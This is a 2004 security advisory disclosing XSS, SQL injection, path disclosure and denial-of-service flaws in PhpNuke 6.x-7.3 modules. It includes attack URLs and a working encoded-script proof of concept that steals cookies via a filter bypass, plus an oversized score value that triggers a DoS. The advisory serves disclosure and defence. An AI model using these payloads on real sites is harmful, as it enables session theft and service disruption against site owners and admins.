[waraxe-2004-SA#032 - Multiple security flaws in PhpNuke 6.x - 7.3]
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{ [waraxe-2004-SA#032]
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{ [ Multiple security flaws in PhpNuke 6.x - 7.3 ]
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Author: Janek Vind "waraxe"
Date: 11. June 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=32
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Most of the bugs are XSS and one is noncritical sql injection.
Affected are modules "Reviews", "Encyclopedia" and "Faq".
A - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A1 - XSS in "Faq" module through unsanitaized user-submitted variable
"categories":
http://localhost/nuke73/modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=[xss
code here]
A2 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable
"ltr":
http://localhost/nuke73/modules.php?name=Encyclopedia&op=terms&eid=1<r=[xss
code here]
A3 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable
"eid":
http://localhost/nuke73/modules.php?name=Encyclopedia&file=search&eid=[xss code
here]
http://localhost/nuke73/modules.php?name=Encyclopedia&file=search&query=f00bar&eid=[xss
code here]
A4 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable
"query":
Remark: this exploit needs multipage encyclopedia entry for success...
http://localhost/nuke73/modules.php?name=Encyclopedia&op=content&tid=774&page=2&query=[xss
code here]
A5 - XSS in "Reviews" module's function "preview_review()":
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@xxxxxxx&reviewer=f00bar&url_title=foobar&url=[xss
code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@xxxxxxx&reviewer=f00bar&cover=[xss
code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@xxxxxxx&reviewer=f00bar&rlanguage=[xss
code here]
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@xxxxxxx&reviewer=f00bar&hits=[xss
code here]
A6 - XSS in "Reviews" module's function "send_review()":
This function is written very poorly by security means. Most of the input
variables,
submitted by user, are not properly checked and will be written to database
without
sanitaize. So users with lower permissions (regular users) can write review and
when
admin will look at that review for approval, then XSS event occurs. Basically
it's
script injection and can be used for cookie theft/browser redirection/etc.
Examples:
http://localhost/nuke73/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@xxxxxxx&reviewer=[xss
code here]
And in addition to all previous mentioned weaknesses such fragment of code can
be found from "/modules/Reviews/index.php":
------- [ original code starting ]
------------------------------------------------
function send_review($date, $title, $text, $reviewer, $email, $score, $cover,
$url, $url_title, $hits, $id, $rlanguage) {
global $admin, $EditedMessage, $prefix, $db, $module_name;
include ('header.php');
if (eregi("<!--pagebreak-->", $text)) {
$text =
ereg_replace("<!--pagebreak-->","<!--pagebreak-->;",$text);
}
$id = intval($id);
$title = stripslashes(FixQuotes(check_html($title, "nohtml")));
$text = stripslashes(Fixquotes(urldecode(check_html($text, ""))));
if (eregi("<!--pagebreak-->", $text)) {
$text = ereg_replace("<!--pagebreak-->","<!--pagebreak-->",$text);
}
------- [ original code ending ]
------------------------------------------------
So what's bad in it? Well, let's look at "$text =
stripslashes(Fixquotes(urldecode(check_html($text, ""))));".
As we can see, first user submitted variable "text" will be sanitized against
html tags
(which is of course good thing to do), next it will be urldecoded (mmmm...) and
then all the "\'"
will be replaced with "''". Traditional mistake can be found here - we can
inject urlencoded
scripting content through variable "text" and it will be not smashed by
check_html(), coz
it is "reconstructed" AFTER check_html() ;)
Proof of concept example:
http://localhost/nuke72/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@xxxxxxx&text=f00%253c/textarea>%253cscript>alert%2528document.cookie);%253c/script>bar
As seen above, we can use even simplest "<script>" tags to accomplish
XSS, because all the
malicious stuff will bypass phpnuke anti-xss filters, being urlencoded...
Remark: it will not work on nuke73, because there is added additional filter
against "%25" in query string. Is there a way to evade this filter? Sure, if
attacker is creative.
A7 - XSS in "Reviews" module's function "savecomment()":
http://localhost/nuke73/modules.php?name=Reviews&rop=savecomment&uname=[xss
code here]&id=8&score=9
B - Sql injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
B1 - noncritical sql injection in module "reviews":
http://localhost/nuke73/modules.php?name=Reviews&rop=Q&order=[sql injection
code here]
C - Full path disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
C1 - full path disclosure in "Reviews" module function "preview_review()":
http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@xxxxxxx&reviewer=f00bar&date=f00bar
And we will get:
Warning: date(): Windows does not support dates prior to midnight (00:00:00),
January 1,
1970 in D:\apache_wwwroot\nuke73\modules\Reviews\index.php on line 214
Remark: this kind of error seems to occur only on windows servers...
D - Flaws in score subsystem
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Score points must be in range 0...10, but its not checked properly before
storing to
database. In case on review score, if we issue request like this:
http://localhost/nuke73/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@xxxxxxx&reviewer=f00&score=9999
then:
1. we see funny looking very long line of score, which itself is not insecure
in any way ;)
2. we get error message, leading to full path discosure:
(Warning: date(): Windows does not support dates prior to midnight (00:00:00),
January 1, 1970
in D:\apache_wwwroot\nuke73\modules\Reviews\index.php on line 542)
Now, any user can post comments to reviews and give score too. That score is
not properly
checked too and this time lets give VERY BIG score to review and lets see,
whats happeing:
http://localhost/nuke73/modules.php?name=Reviews&rop=savecomment&id=1&uname=f00bar&score=999999999999999999999999
Result is DoS - server side will consume massively CPU and memory resources and
client-side
webbrowser will be stalled too. Finally in most cases maximum php script
execution time will
be exceeded and error message will be seen.
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Anyone interested in tutorial(s) for fixing those security bugs, is welcome to
forum on http://www.waraxe.us/forums.html
See ya there!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix, Dionysus and Stonecold for great help!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@xxxxxxxxx
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
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